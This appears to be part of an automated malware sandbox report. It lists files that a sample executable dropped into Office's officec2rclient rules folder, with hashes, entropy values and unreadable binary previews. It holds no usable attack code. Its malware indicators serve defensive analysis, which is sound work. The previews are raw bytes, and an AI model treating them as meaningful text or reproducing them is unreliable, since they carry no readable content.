Preview:	<?xml_..[.....g.zm..d..e'........W.c=..4..X....=7.&....&....G.9.t.......c`%o\|U.g."...y.......*ihM9xl....g!'...g......1...0...d..'.^I."l...=B...x......u>]$n...Uw]..q.7..S.Gx..jB`[@4I...HIn..\|..w).L.t".Q.<cc.I...s..O..........&w.....hP....G.g..#...(8E......pf..B>.4.y. ..X.q..J$.........6<]&)..%,...=\|..>.Xh..v.....+..8..V..@B.!.].L...[#_q....hLi".[......!~.UKhu%Gx..@...T.?....[.".O....1,O..j.ya....5...".w..s...A(.....n%p/g./Q.xL...&.j.x..6.Sukb....?.......}.T.....$....R.5`....\S<.....z"4[.)..~.:....$....2.<&.]..2...Ot..M...L.......!....4.Lw....r.&.?J.t......t.JANG!....<Qa...U5.%./.y/..C?!.9F...G.$.w.o..X..kra..B.a9.%;..T..>....?j..m.......9....[..D]......\|.......'....]$:c....^.2..4....nK.y..3T$.W.:e~.i....j.".F.\|F9..[On.F.G.u...qn...4..G...'#..l.A.v./....J\..3.t..W0.....b.+e."R.......I..z..K..N.%F".'..Ah.d.........i.:.G.:.a{.....h.+5.....Nq..J......wl0.t.............;s\|..!..*L.C...\.r.s.h.j.6.}.,.X1x..?8yw.Z~.E..~.r.I..e.O.Z.(.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703700v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1711
Entropy (8bit):	7.882944076982296
Encrypted:	false
SSDEEP:	48:JyQLWyC6hqTgDu+roL9lbL89imtP41nNeEjdmD:JyYTCM6uu+roLr8dioEjd+
MD5:	B8943AE4E3F66BCD8AD956B2D8E394B7
SHA1:	6F1B986DBFA0E77128B9EB897345540BE654D413
SHA-256:	535DD9A9926BB3CD11F86BF2B6EBF8FD65E168DA9731D0237B8D7BF852DDBA4B
SHA-512:	A982B7A692A41E1C473F55D6BC817DD1DC479EBEF44A263A35DB64E2B74958B7798955C0270600A09DAC0F30B99FC69367F2A7F2A8CC97701E68FF1B2EDAF366
Malicious:	false
Preview:	<?xmlp.sh1L..a2R.D..]....K.....9....8x..k.h_C..r.........2U.............D<`T..Pl...P.p..././...il...'..K.y..4Sp...Hu.Ge.L...C....(g..(..b....p.E.C...........[.......-cL..F.....Q.~.z>.{.4lF\|....5.g."...Gy.w.2.5...S.5>.......2..{q.XL...A.{..L.oW...]..z.r=d[..+&.^y.2.Ox6..gk.....n..m.UJ.G.t......o.s..M:.[1K...j.nEB.v.\.g......vW;_....qW....8_..=b..E..........<.9+Jv+2\|. ..D.t%.x..U.....k...E....C.d..,..p.].EhjP..v...s!<....fT.Bo...w.yE......!...fL........F.=c.._rY5.y......P..^..X......R.Gs(G..kP.tq.Xl..s.x..}........l_~............4c.TJ.....6.)s...^.o.{......5`{..E;.'Y<".....";I..7........G..B..U#y".P.Z............>!..7.-.H..N.S.\..&....P gk.....KL.l6.*.-.w.K..hj...N?......R.q.3G.....c.K...\|.C...Q6S......n../pK.#.Y........^..,.:..._VA.c}.&.....X.t.b.0......AA..l.....g.CL..F........7.^..LUP.c...g..j..h..M&.w.F.x.[].)={Y...1..t..k..\|..1............6..5.M.,...(j....h..BK.B...N...@~T....<.H.....8..lz..EkF.........$..?..t...{m.8........j...i

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703701v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1748
Entropy (8bit):	7.8894978702116845
Encrypted:	false
SSDEEP:	48:q/zd0d+FOwYLEwAbBRrIVXFt/rwsBhvezsDbX5mD:q/x0d+FIBAbBRYF1Wsv5+
MD5:	04AAA31543AAA73575BD4A3CFE34AFF5
SHA1:	6F81B230E74C8F16B9CCDC7C38CA3C8B118473B8
SHA-256:	D0747B98F16920462881E5F1A3192338410281E18DD7127146FFAC100D5CDD45
SHA-512:	8818D043B4CD448B34544B9B4D5F79F4FDA8B57FFB6FE87694220FDE9AB7D78913545B98DB22F422F2C839E73A5504CBCE177FDD78C119A595103954D05BF776
Malicious:	false
Preview:	<?xml.~.Z6.Y.~;..>.....pF..s".zP.?.A.....HG.A....?.%G....w.sR.lBl.=.(.vXt.g...Am...e..z....=..r.....3.D..s.I<O.>.'.y......-.nX..c^?...O......a.....i....F.U..y...7VZ...H..@=........t.d..8x.....B.Y^.[.Rf..G.....L......#1.....=I..B..q...Uq.....5L.w4Hu,%U....i..\|y.}.\|.3*...>.1....F.x.I.../.FL...(Ax..47.._...7Kac....G7;7..!AKp...c7e.9...?25.K.o......h...^...b...T..3.t.......v........V.P.....m..s.]T:..0...>.).)y....Rb#..P...0e....!B.T.[.h.........d>....{.5 n._..\|...&..,.R.=C.....\|:.L...'.cg.S.M...+..w...fF2l.2Y.9\Q>T.@....f..X$pi..'.%n.X...q..z.0h.+.].u.G..y%..:i......,I.$...\|..>.,... ...._<.Y.e.V..-.O~,..).....;%........2.M.....g3Q..6E..P...1@...<..!.r.At.....e[B...a{3..AE...n:(.G.T.....0z.BR...W..H?....}.'.....Eg.,.X....d.....J+:!o.e.........._...~c^C..D.WbO...zB..5.m.3.#.h.N}. D...........h>.+.n..c.f.ZCR\|.^..VT. ...H`./....p..V_'."..T..?.Q.Y4........"..9`f........W..I..v.....F ..E.....B".hyz..Q/...9..9.Sg6c)0D.t.N..I.Y=.G....W.....)...ie..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703750v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.883775648761848
Encrypted:	false
SSDEEP:	48:5mnDRhn8kuOTGvyzHBrEgBELOIp1GGEdIDmD:+DH8eTF7iHx1GGN+
MD5:	E13CB5920DF9011AF1F5A70D5944FA5C
SHA1:	D6F672962A3A0E10D169AC59870F60C810B9660D
SHA-256:	B811EBD32C6001158D5577CE57DF38351069B1C321C57CDE79838FE1D8A2D294
SHA-512:	130A5793C4658E17D42C33FFC3CF568967099E7B11DE5BFCFECAF290C3A6030444C949460D1DB60EF0202FABF2CF00A119212F70D9A084E64BA75498141EF991
Malicious:	false
Preview:	<?xml..u.B.tt....u....>d.X.7 .(/b..0..y...7.o>.?\..M.....ld..1.....>.VX6nE.<;.Z.ws.. ..\|..E....N......>N.w.\.F....uK.....el..m.......u.......f..#o.8..}....Go..v...!RSTgX..E....NfS....m....Lh.....n...GF...g>q...K...P.M:u...L.._..f....W....]......B..D........LH..P..C.....8.@/.9a?..T.....m'\|.,#-.7.x....2..C0.m...JM>A..=...ke.+.w.^rh.....~k).._38...\1.2.z1[Epe...4.U.GD...=L...1...{..9&.z........3.-.bh..SV...~..x..9... GR@.X..;.`'.....z5.u.n....1.[..Z..4XM...:......w>.>....0.T.8.y..f-..E.g..J.KB.......h.I.e...;f..n.t......;..O.r!\.......W...v.H.Q...E.Dk.D.@......).7.Ed.F..8K$.iB~.J.............3d..AK:..H.]..}{.........B.M.Z.)Bg.."`N..)...+..4n.....j.......J..\|..T..i".&Q....l...t6./.N..@...V...<.4....]]...C...6y./....o.k8...yh.f.@.'...Aa...Q...O..5.d.......:....24>somV.i.>.2..g\....<...4D"0.]....lH...E`......$a.[.a0-.]....+.CJ..)..a...a...N.V.S.u.iu....D4.=..pa.A...(.4>.......m.n3...<.Nc...u2...E.g{I/V..4.l.O.i....es..............."

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703751v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1770
Entropy (8bit):	7.893311509597797
Encrypted:	false
SSDEEP:	48:rW+dRslY9fXnh6udgz5faq/dOx5w5zcO7mD:rWlesZ5fGjw5zV+
MD5:	1AEC8D21BEBB9C9EA3C9E2B545730DE3
SHA1:	8CE45F636DC1588F056BE9E58A87A86F1F392B70
SHA-256:	669DBAE936A37148E9D73C3F013E6744B2D87BBFADE008BF51D6ACE1DE4175D6
SHA-512:	F403139CBBA9CE6519D55B143D1E6316415B9DCB7657209864676DDA5E5675C995AF727757546BB2034C948236BBF16D05E23F1009C724745F10031C43B363E1
Malicious:	false
Preview:	<?xml..-.-....p..c..4s_..... .k.tH.!<.8.c.F.....P.....s...PHV...&.+.G.{..`w...D.;.L..e..)....\..:v.?....L. ..cKp.7.[.IX..<'..../.%....@..m.3J..A..p.....>.[.../...&.n8Ejp`.d.a..]...5..K..$XrS.._..)&..u>r..&.~..W.>..x.R..>..B`.hQ3....4.....8AP.7/... H...}T.b].q........\|..N..u.......k-`.......i.....=J..+.7....S..0...v9..O.op.....LX.....W;..q.8...4C.FK..=.H..#....V..W.....,...0...T..TZ.A5.@....ci4.2"..<..D.E..xD{...../`..iG.D.f.3..U.K..E..L.R."}.......~.S...^...B....L.........,.......f...!....+.C....g.ly.._....>......Xa.v[^V,[0.1f..?.3.V.T'.?..<./(..~.f.k..F....^.^g2.~!\'..Z.+B.Hi.....o.;.>a.....Al#..J.M._(. G.q.T..K.[.ua.....:D..i0 lGs...m.ew......jm+.Xf...s...6....E.J....Zt..~%.)..rx.7`!\8.Qy. hr...H../.q_.A.3P...........X.P......cB}.j.8..1.Q.v'....S.A..P5dg.f.^...h.B.z.+xW.(.......8.Bh...9H..S...E7..........{....n.l~-.?..n=A...j.../..8...}E.K...Co'...5.-......h..aR..R.eH...Lx..@.....3{.xH..F".-s1#YF.peZ.6....$>.r...Yt6..-.!.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703800v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1715
Entropy (8bit):	7.887685078451003
Encrypted:	false
SSDEEP:	48:cjIdwu+fmsarwPcyKII8BJloGdHMbItTj5mD:cUXDxUEJII8byGdHMbAR+
MD5:	729238F64BBDA642CB4E1FE767B9463B
SHA1:	740DA089A976D6CB475407559359CA5A4774B5E4
SHA-256:	EA97BAB87BCEEBE14CEC9032802EBFA0AC98352C784DB06FDBED0F513BC82878
SHA-512:	E86E462AE01B285DC9B19248539147B456C9D5ED13A235BE8A14977AFE08DDF483FFBD87EE5A06C0AB72154A081612C9ADE0B4BD8E10F466D3B4825B46CBF153
Malicious:	false
Preview:	<?xml^.qZ.QRi..Q.N]~..E:.U.)XI.P$......2Q.....!...?..-..A....=4lV...D..C .'3...>u..n{..,.5...\|..h.....i,..ya..\|..1.w.'M......3...R..U............R.......DJ..?.c..%ME;.\|8.90.o@.R7.k.......<......9\....IN.ju,t..X..`......\{F.>;....k.k...Q....{Q...\.]E..K..W.e.R.>+.8'e.K.r};.h^.s......o.~w.>.(~..m....p.`..%..._[..S.o...;..e.1..#.....l..@.9..bi.S...g..% .X.b.]8<....F..N#-E.0..v.)G.....r.....57...X.....o..;....4...B...&..}......Q.......g.P....4.YIIjV.H.....h#GQ.....1........7U.C..F\|.........zO.....^.-n;.(..[).....<..Z.=4P&v0...... .......c>....y].a..W..k....T......ah.T..V...c.3.W......,".u....c..%}.dq.d..-r.A.U._...OM....$.We,..;&....F.....%Ag......P.$.p..N,.e'....;a...r.d..V..e..` ....../....4.s.v.6.....PfU.<...'0r...mD...@t....H...j>..H.F.I.2...h...M../{....9;.f.Y..-0. ...>..\|v..#..Ut.;.......cy;....='..........#..VIO..1K..oJ..a~.8.d...W........!..mb...k.s...{.0+.v7L&E...L._..g...........w.....H.=.".-(......ndB4)..~..aK

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703801v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1752
Entropy (8bit):	7.874352659449153
Encrypted:	false
SSDEEP:	24:ITtxzwQQBuYjt8OLccnbqXRdO/yOJZXpgoIbhbMrXTafYuarZR0SWTgczJsBkh/w:GTsQqx8d2bqC6O0JlYuI+bJt3zrPmD
MD5:	08552B19465C0605B9525A9A92FD29A5
SHA1:	69C2E5D3AC1F87942FFE52C40870E01C8FF90276
SHA-256:	220123C02FB19AF3A8031236EEA3638B9928C4EEAE05E0084BB3F5B87597B6B2
SHA-512:	D42AFDC1E6103341059823F9FBA6752F5B3A167D72E2FEF27D1104BC79F9D25F224DA0D356DC6A69208B069097AE30B6E8126159DDE93186615205429FE035D4
Malicious:	false
Preview:	<?xml.e......:D......vg..[.!.W........3.}...K..Kim.X.9..../].4.?L b.....:...k5..M....&.\|'.r.R.G..^BwK..=.....ks]a=ht.......,......xw!F:..^..*....T.9.5u 5..`I}.F.\.V...t.$ ...~~...9"D.1...eeh.Sb......F.....xdk.o.......C...T..FF..........<..U.......Pe.......o..q:Jn.cf.#.L.B.kt...n<,..=xqmq.;...8lPjXd...'"..l.....S..j.`W....W=..,@......R.....l.+}..R.%7..T.kf.N.).1Z..P..a..@z....&h8.l`.....Q0...#.e ..h).=X.".:.. q#F.d.9([..:.?...p.....2.J....%.Z]...6.%S..]........d.D..[...~....J..i...M.=J......M.-+.Cu..i.._z..&..d>...j8.........."......AAr.i.V.5A..Y_})..g.?....~..+ ...r.2R..cx.!&c.,.....G./.8.<_.... ..K.w.L.../p!....[;.>z?p...../..@..Q^.G...\og......Fl.Tc..L..5....[.....g..k...=hhb[......=Mo...g6....[&,..a.....>.}...9..5.^NK(.J........HQDu-Z.......6./$j.Iv..X..B..O.....F....a.8i?A.k.....W.RD....mU..p-.^....z..d.b..<L..JZ.~.....Mj.J.^..iG..P....b.~.5U-.....yb.T...2.Z.[......F....d....a.Z..Trmp..Z...9..<...e.... w8..o...79....f.y....+...;.-..t.k.b.=..^.?tk

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703850v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.899049367128455
Encrypted:	false
SSDEEP:	48:NL9dE/oXuZYoE49YCIBqJp0gVNOu++zGg46AyHmD:NZq+uZFE0YNqJKoY2i6A++
MD5:	D3EBFBA2A0CFAA816ECC1E5EC0B32393
SHA1:	224FFC45E89C1737CD08E9E7178D52D18B47A1D1
SHA-256:	AF86091A8C8FB116F2643C867897B099D71C1AE30F9F82C282E55B7C6BDE9EEA
SHA-512:	8F1132E7C654F6761F779A919D5E9BF8EC8892C9F25D0069D003670B258E5551655C36B1C3E0425FE03AD4FBAD8618F163E79F669CE4686604D38939D972AA33
Malicious:	false
Preview:	<?xml..@.L.q..UVp.u....4.EIRX.$..1.XN......H.Ab7........#N.........<.p1...kR...%...........w.D....r.'..?X..:4....S...cV1..Y[..P.K_..'0o.(.../.....L......xD.s..x..{<.ic.......x-^.,..Ze..nn...,.....N..ZeQ..>A....4..RW{e?i...N....\\.:M.2}.....z..U8..f...J.,.....z:.$..A}..KRu.N]Mb.E".14.4E1..".$.]fl.&........JUn.b.}l^.[....9.....K.....l.r.1.V...i.....q...>1.~.o.2>c.=..#.i...5.ni.=G..+...?..TO....0.g..^Jf.......('.V.M..i...].....~.j....1........j9...WP..p.`(.A. ..p83&.K;.!...f..S...@...YX.....=.Y%...Wm.Z.iK..Z.!...5. P.u..%...(..y.........H.....\|9.."C..`.......n<.......LrI.v%.zP.3.fs5:#i.C_..M.g.".....\.~...W.'.F.C.R.._+r...O.M..&...T.'T.j(...K`4.....o..I.H.Ezf...5.(...7>X4.#.%0..g.....).,..EY............6n~t"..(.g.3.P..F.........?qDo2.M....6.oK.^.7..i...Nol.*r_.W.^..N.#..7.hi.n.....7U.._g(/.v.6-J.."..:..`+hEX.[{.a.n6.M....rf...-U.H.Kn..6.;...85...U..._...A...... -...%..saB...x...>\.....>d.:............8.x.H.3U..w....w.3;N..O.1}..Y...Lv.?

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703851v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1775
Entropy (8bit):	7.876863647757333
Encrypted:	false
SSDEEP:	48:82QIgQ3aAV1Jdlp1rHEH/qGz0z6VkynvDy7vPwdklsmD:JqQ3nV1rlvfGz0Sk1zYdCs+
MD5:	C9FBEB1B7CAD4021A6E7C7F767EB000F
SHA1:	2971E6F0F43D7CD259A216CA3A068125894943DD
SHA-256:	1469CACEA94C4395D193089E4422C71F6E54C7B1228E045CDEF0EFDD8FB172FD
SHA-512:	7E507D50233625F2B4AA59C35782C5962923005449466C94AA421996A601A28177709DD3E12484CA697F5955BEC7C4590DD6E2BFFAC7D14AAB43180F58298DB0
Malicious:	false
Preview:	<?xml+.YvK.e.......O...8(T0.../..~..p..\|.AF.dK....P...,D.o.?m...qP....eA.......P...}.b..F....K>....".q...>....hv..9D..bj....5.K.}....\|....."^p..=.bJ.E...J..).'.P+Y.]4p.....ky...j.....1...N..{...4.x..c...1Y<e..kPT...pTe...Zz]....p............\2.%>..6.[.OWW...MQ.=.%(......{9Rf...Ol,.i../.R...f/.:x...vjE.9).9....?]_..x....E...`.x..KS....`....Y.............`\|.F.)Bv...)"...2'.#....#~q....D...c)..w..MT...~.>.._."...E..}a`...=.);..+C....0....\.n.wf.} .:...f.3N``.+.--...^.CC.s...0.L5...g_..4...@...p.C.......mo.....:r.I..p.u...^..W1...4./I(q^i..!u..S.2.1E.........<....p+.-.\..mI..E.1..;?n..:..!.5.aB...!..?....0g..0..UBG).lH...}..aU=.....F.{.."..?.."\...,?..~..@......z...yi`.Tc.2.\|.f.)9.I..h..},...Ez...8..)..&...J{..P.....Y.~...e...iUh.[.$.H..5...N.^QXm.&..E..~...3..x3?E.\|......?.W<.hv.s..~...\|...iP.%S..Z.....w....,.Y.C:.8.."#2.cb.....KH..Pa...a}..l+..5....'.Qu.7;<.......wJ.O...;......q.t..O8+..>..I&V.....R...A...w...]...!gs.[.2j.l.tKg..d.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703900v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1723
Entropy (8bit):	7.905221132717551
Encrypted:	false
SSDEEP:	48:PJKWmV9gYKceFAcvg8cOMWAamWfjZTdJQV7wPF5ymD:P/5FAcvHreWfjZbA1+
MD5:	CF24EB2794719D6FC7E27F0FA04DF454
SHA1:	9528450532A52FC1A437A31B6A76013FE5741E8A
SHA-256:	0034A80C6665A730D799D9CC154CF410EAF5014FF91DC2A9BACC1A2AF4DBE356
SHA-512:	22218B7372F79F30C28DEE07165FB4D8FFC8551A158785DA8E1346B499AEABE28117486F3C4EEF18494BEDB5F1F301D1721CAEE990AAF8CA7E01FC1F9D650684
Malicious:	false
Preview:	<?xml...9.U.q..G...ZH..!h....pb...Tl.......U.......<.dz.!irih.......E....q#.wB!uy.ID.R<.f.+.S....m...@...s.W.I..K..&...$.O!....J../.......Xhr..i.;n...,.'qy1%..GT.i}_.....9......%......a&o.$....1&F..c..r....4k.>V........(..0G....h..H...N...-.........2.w...'Ja.k..f?@.&8W^..Eal...K.U.....'..bo..c.]1w ..,...3H.+........:.r....;.(....~..q.....,.x..c....}...?..Iv"S. #\.LV".......=l...z.Y.[....gq..........`...T...+..Y.6..wS.a......g.9...6.v...w......r.{\|....1fV....v..G.~....+...u^...`B".....[..v..o...f..$`..F..r.+N...'"..4..D .So....x\a(.>..........=.1r......+.j.,^Q/...."hY...s5.(.....}....<..J.'....!.@L..I...m.g.U.+......6..`..E...3/.U....g.n....3..$b...{\v..!.>c-kD....gV..:.u.>#Q".Z...4HxB......5W..&...O....2...o{...N...T....\..!B..PuV.~..W...{....M....L....x.q.-m...........%.....7...l.wh../...9.-3-.z....h.....q....aQ<:..."Y..[...>....D..i..A.....>........3.\|.+lG..F........!....q..8.7%(.....z].z.Z.'..]..m..o#.g.V....b....H.....!...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703901v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1760
Entropy (8bit):	7.891426416544781
Encrypted:	false
SSDEEP:	48:MN1RO6glwhUVqDyHUED7Q8OrvxmeT0iiNBfdSIEmD:+1R6lwhUIDTSsHTtKBV0+
MD5:	B14D6E01447ADF7A672EB6DC2D88E0A9
SHA1:	D89CEB629B6E8D29C1EBF2B1E1AEEDEBA428DB9D
SHA-256:	B490C4489FBB6D88AE30231CE86D6A76277A04DDF9653B66F0D47F12FB36AA0B
SHA-512:	CF87B4C5F99C25C201F222B662D12F80E687949FA7A44E1AB87C665B35B022B2B45A49B824A68FFA6D9AFA9A563A7E3233D36CFD072D372E96638FF2AA8C56E4
Malicious:	false
Preview:	<?xml.5..o.T...A2..?D__...3g.d.!.s..cA..Zq.w5.k@..B.o....uV...?.1mKg}6.....4...#.~.c9..7......E6.W....>..ClfuA...}..(qQ.I.z4.......m.b..N~3}X.Q6..:+...wo...N...wW.A.6.....1....H...~......W. C..n...q...c.?.C.../1....<.....R...2Y..(....7..B[...V..... (d\....#....h...^.Y....;..afJ...Z'hQa.).gIE.........SwWM7........B..$P...,p{]%j0.F.s./z..... ..J..^...Ql.[i@M..u<b.\|.}.#EO..B.t"...s..H..hPf..lS..jZ/.~......Uj:.[...")...w.=dU/.T[..1.."..k..<....6..7a..Q.^.e..{'.@).u..o..b.zG...UL. .VXE.o,.i.U.<5......j.0..Q..S...x^{....r.....@Q.N..s...H.g..u..p.......t.....v....9..HW4.4.xT.g....T.......o.z...&........p...=.CU....y=.a:.{f.c.{f...yQ..H..;Z...lc.Q.....!.?..?K 3......pemf.....S.7w.@...'...u..]s..V......~....M.C6..]p^.......:.....d..Z.................^.!/+x.\...N_.Z\.H.T...9...W.ctK....4B..a.B..f)..o......:....f....F..M.....J...3..l...4.e.....^xjVJ..&.M....~...?....6.......%X..............yeU.-g...n8^..9...~._...cW.J.....1.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703950v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.88142253677328
Encrypted:	false
SSDEEP:	48:JzN4OHXTDftLBtZJ+OV/IzVouEROu4eYmD:/HXztZjV/I57b+
MD5:	50A7674A91587E1493DB0F22913A265F
SHA1:	D4C8CFBB2D92E6DBDCE20D8082E90E71089B465A
SHA-256:	535671DA95EF4F725AB78C223BB595FEFE87E149510AB77E6D8CF7CF1ED42E80
SHA-512:	9B26399F28ABC7C227D681FFA5AC55F23FB418FFDB2128441CF84D28092D13119F963759B245ABB710A97D1665860F0AFE49426BD420BF50AAF9A358A489AB64
Malicious:	false
Preview:	<?xml.d'....`.{.....T....5..O..S.;.._W.YBz..,....)E!.....y}5.}L6...V..A4'xI..[u-S......&H...Z.)y........N.q2..2..t..&./^...gVE(^(A.....Xx.`X...;R(.w...,.D.!"0M....&P.0.....6.a..D".....-k2.J.w2...w.,..a.uw.a..).......Jx.:._...).q."m..S.6.h..l.>...x......p....-.y..(Fb...C.U5-#..+W.e2.{..k....R.....3..}.o.,..`.-.@...y..=.!Q.Z.X.%K.\..e-%N.......@,..z...i.h...&}........p........ g/....z..^.......L,.O.m3,.T..`...3...\|K:.[\|.vJ......mOK.qq:.(.`....g.....w..;{.pQ..b.i.Sw...Vs..U..Ls_).O...../-....zZ...g.>...../..+3.Lc.2.?.!h..-...k...U_....$.8..7+..0.....p1...DHl..Y.5..^..&q...j.w....Y.#+.n.WJ.....,..n...V.5W..."......t.}.(...`.%.-:..+J.y..J.j....>.6...........z.0r....@..4.4....HH..H"b.O\...o.B......."...[.~s~:9.).1.2z......2..1M.I....8.$^.y&=..ldc..{.0..o..1...f.l..,Cv.A......Tf.ReD.=..).s.c<......P..r.[:-J...Q..H..ow...'..h.".~....s...p..B.Z........)t.:tY.;r'V..E,..X.[.4O .$...{&:").>qfBa:.q..,I$..c.\|.....O\~.?@.}..m...H.....y.T.m.E.R....ch.....cP5..y..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703951v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.866120417794846
Encrypted:	false
SSDEEP:	24:HQTVEVqkeifu38YNNLqJRNidNRTeG7JSuYmsIhFWIQ4XyAzJknqdTsbD:SpkeiG35NlANsTp7JSrmPCAzimTmD
MD5:	F7E3095B3DF8C1775B4D578C438018A3
SHA1:	76BA10A33B2AB6C1B96DC1A5DBE7311FD543CE83
SHA-256:	9FF07F93123D473AD2CF31A760D547C2F6455BD71347939324A42F2F011F3966
SHA-512:	8BEDFF93905E1675DA2ECF1D02439B12AB9D61C6342D143B3F4987A0D445B157F9B6D85C57B09AF3B67961302295D8F16CD588C2720712D52AB2188A7FF12666
Malicious:	false
Preview:	<?xmlYV?.z2..lp6.....#.xn...P....o.S ......fA....g>}...%.c}...~..gB....r../G.U..iL.........Y!D...P.-..vq.8...Yt..,...VQW...y...1..IciT...z..n...6...0...."...J~Z.`H...VW...mL..).#....uP.oQ.w..vO}zLl.w......`w?.M..m.N..j.Y@.j...bh..s7%.K.C~T.^.R..W.^.)..U..K...I.....W>R.MO...c.....u../_...2eR...\|..H..t..g...~....<.....W..7."l..$B.....t...N,r/......e.\|`S.....J.n!m.\...0G.z...1).7.E.0..s.{%}E.L-F...Z.7.s.6..Z....)...'D.u."...v...Mg.z.y9%dktQ.m....]. P0g.W...%9....}F..i...]..1P.QD.gK(.....B.......x.M`L........b.I.....x{...!.....X..g.l...p"...F..1..".....f)#x.0.....xD..+.".;...?.Z.6f..X.s.V..J...........~...#...p......Sl.P....0.%%{.%)...M..}j.S..P..=.....;....8...9...4".V.~>..!.....&.C8.Y....N.z..+SgF....R...M.S'.a..Q.O{.#....AB_...;^dy.t..=.UT.0I.M.../.L....w.N.#v......A.Z...o.4....1$=....f.l...I5...-.J....z>..}..5..^;...5..P...w..#^'.~#.I.wkv.(O{JQ.g\..I..~.....BZ.k..RI..V.7...=E.P._..A........Tc...)..oYp...?...4....rHD....n.).~.j.X.63S...3....n.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704000v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1715
Entropy (8bit):	7.879099518843534
Encrypted:	false
SSDEEP:	48:jaZBZAbV9OasLyNC8OvSlyxev8DvkybFmD:jMZ+V9fsLeCglyx6ZOF+
MD5:	7BB3EAA958658113496F97141B3159AA
SHA1:	55114CF3BA4F2B7D3B7AD5E3E3D01990A534A563
SHA-256:	2EF5BC053993B01C6AF960945F40324872661C57C5AEFD604F79ECC53B46C10B
SHA-512:	3D62A50ACB6B4B754D368775BB6D1C5E1741C360F8CF0FF8E2F219F92E0934E7557CA2C0AE3B1A19FF4655D427893F896296516FE08FBEDE54243141B8F5F7F7
Malicious:	false
Preview:	<?xml..0%c....u..,..4p.6.JF.L.F5.pS.!....]x{._......g...6.f.....b.F.=.%.U....Kh.)Y.cLM/.U....";..M.Y.U2C...u...1..Q........\...1...S..c...X...R...B#..II!.34......`..l..C(.[.L..q..h.a.G.....HaK."U..G.5..H.Q..z!..ji/..f1>'r;z.p..h.'9..K.E...;....P...X.......$[WWI...C^.Zf..D.X..h.7..e.o0+..8P.......d..3. .$.L....w...a.dRFLD3..W...[.\|p.j+....7..F....C\|'.d&@E.....d_..K.?X.(.....=_.....<...oC..mz5..7@..v.1W.1...Ig.....\|\|4....E..&J.H....A..}H.n.NgO..<........EF...Y....".Q.......}.g.!..0S)..GI...6Y..D._9.8..}...3.K..aMV...g..\.........~..TX3K....L.[.=.=e..@!.6fY.]n.....D"..Y...M..._..... ..I\|..?iSW#'.....g.L~...xi..k%>'....<..#.......O.n..Y{...%.-.a...3\rtw.d.z.&...%. .u..'...h..........B.B..Y?Y...2..yj.l.<...gm:-.).v..r.N.v.T..L.L................{AA...h.Q..h..\|.....d.(.....T.s..P..}.-.T.0.\|.`*..w..JBM.6.q[._.&G......fI..89.3v.v.Y..]...+.4.7..O...}..[vC$p?...m...<..DJA.)c.P..G[...M.X..e:.x.1g..P..l.&......ka..M~.N.e....2p)#.....5.. ...[..RLS./dQ..q^

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704001v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1752
Entropy (8bit):	7.89364482033463
Encrypted:	false
SSDEEP:	48:aS1HxhE8RSJ8o+1iABmZw8NrROvqlLRUfGmD:fBE83o+1alOIuu+
MD5:	EA09AE63E54D008921D54ACC71EC26A4
SHA1:	FD271DF514CCCDDE86E57E537AF90E7C9DB44CDC
SHA-256:	A1636CAE9CCC7B4D55B6B7004312F93EDB2C16D2C8CF6ED4A9566871270BF398
SHA-512:	7B66F2E84E4AE5AAB35754FB840BAAABB2A75FCECBFC4C56237E5029AE2671EA5BE6284B0EF241255D982450129C375E9767CA778AA2C77B040536444583BC0A
Malicious:	false
